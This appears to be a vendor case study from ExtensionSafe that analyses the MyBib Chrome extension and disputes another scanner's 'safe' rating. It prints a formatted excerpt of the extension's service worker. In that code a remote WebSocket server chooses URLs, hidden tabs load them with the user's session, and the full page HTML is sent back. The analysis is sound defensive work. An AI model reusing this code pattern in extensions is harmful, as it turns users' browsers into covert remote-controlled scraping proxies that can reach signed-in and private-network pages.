Independently verified case study

CRXPlorer said “Safe.” The code told another story.

CRXPlorer gave MyBib a 93/100 safety score. But the published extension quietly accepts browsing jobs from a remote server, opens server-selected pages, and sends their contents back.

CRXPlorer reported93/100Safe
versus
ExtensionSafe found8/100 trustHigh risk

Package inspected

The checksum above matches the package analyzed in the ExtensionSafe report.

Same extension, very different conclusions

CRXPlorer

93/100

Safe

  • Reported four permissions.
  • Called the permissions purpose-aligned.
  • Said there were no content scripts injected into pages.
  • Noted that tabs can expose URLs and that localhost access may probe local services.
View CRXPlorer's report

ExtensionSafe

8/100 trust

High risk

  • Traced the background worker, not only declared permissions.
  • Found a persistent connection to ws.mybib.com.
  • Confirmed server-directed requests and page visits.
  • Confirmed that response data and complete page HTML are sent back.
View ExtensionSafe's report

These scores use different methods and are not directly interchangeable. The important difference is the behavior each public report surfaces. CRXPlorer result accessed September 29, 2026.

What the extension actually does

  1. Connects automatically. The background worker opens a WebSocket to MyBib without waiting for a citation request.
  2. Accepts a URL and instructions. A server message selects the destination and can include an HTTP method, headers, data, or a request to use a browser tab.
  3. Uses the customer's browser. It either makes the request directly or opens the URL in an inactive pinned tab using the normal browser profile.
  4. Reads the result. For tab jobs, it injects packaged code that copies the page's complete HTML.
  5. Sends the result back. The response or page HTML returns to MyBib over the WebSocket, and the temporary tab is removed.
Why that matters: MyBib's server can use the installed extension as a remotely controlled browsing and scraping proxy. Its all-site access means those jobs may reach public websites, signed-in pages, localhost, or private-network services, subject to Chrome's own restrictions.

The code behind the finding

This readability-formatted excerpt comes from service_worker.js. Whitespace was expanded and unrelated code was omitted; the destinations and operations are unchanged.

e.defaults.withCredentials = !0;
n = new WebSocket(`wss://ws.mybib.com/?v=${t}`);

n.onmessage = async function (t) {
  var r = JSON.parse(t.data);
  if (r.url) {
    if (r.useTab) {
      chrome.tabs.create({ active: !1, pinned: !0, url: r.url }, function (e) {
        o = setInterval(async function () {
          // polling and readiness checks omitted
          a = await chrome.scripting.executeScript({
            target: { tabId: e.id },
            injectImmediately: !0,
            func: d
          });

          n.send(JSON.stringify({
            id: r.id,
            response: { data: a[0].result, status: s[0]?.result ?? 500 }
          }));
          await chrome.tabs.remove(e.id);
        }, 50);
      });
    } else {
      try { t = await e(r) }
      catch (e) { t = e.response }
      if (t) n.send(JSON.stringify({ id: r.id, response: t }));
    }
  }
};

function d() {
  return document.documentElement.outerHTML
}

Why a conventional scan can miss it

What MyBib discloses

The Chrome Web Store listing says MyBib may use otherwise unused bandwidth to crowdsource citation data. That is meaningful disclosure, and this analysis is not claiming the behavior is necessarily criminal or that MyBib steals raw passwords or cookie values.

But the client code does not check whether the browser is idle before accepting work. More importantly, “unused bandwidth” does not clearly explain that a remote server can choose URLs, use the customer's browser session and network position, and receive complete page contents.

What we confirmed—and what we did not

Bottom line

A clean permission list is not a clean bill of health.

CRXPlorer noticed some powerful permissions but explained them as normal citation features. ExtensionSafe followed the background worker and found a separate, remotely controlled data path. That is the difference between listing what an extension can access and reading what its code does.

Read the full MyBib report or check another Chrome or Firefox extension.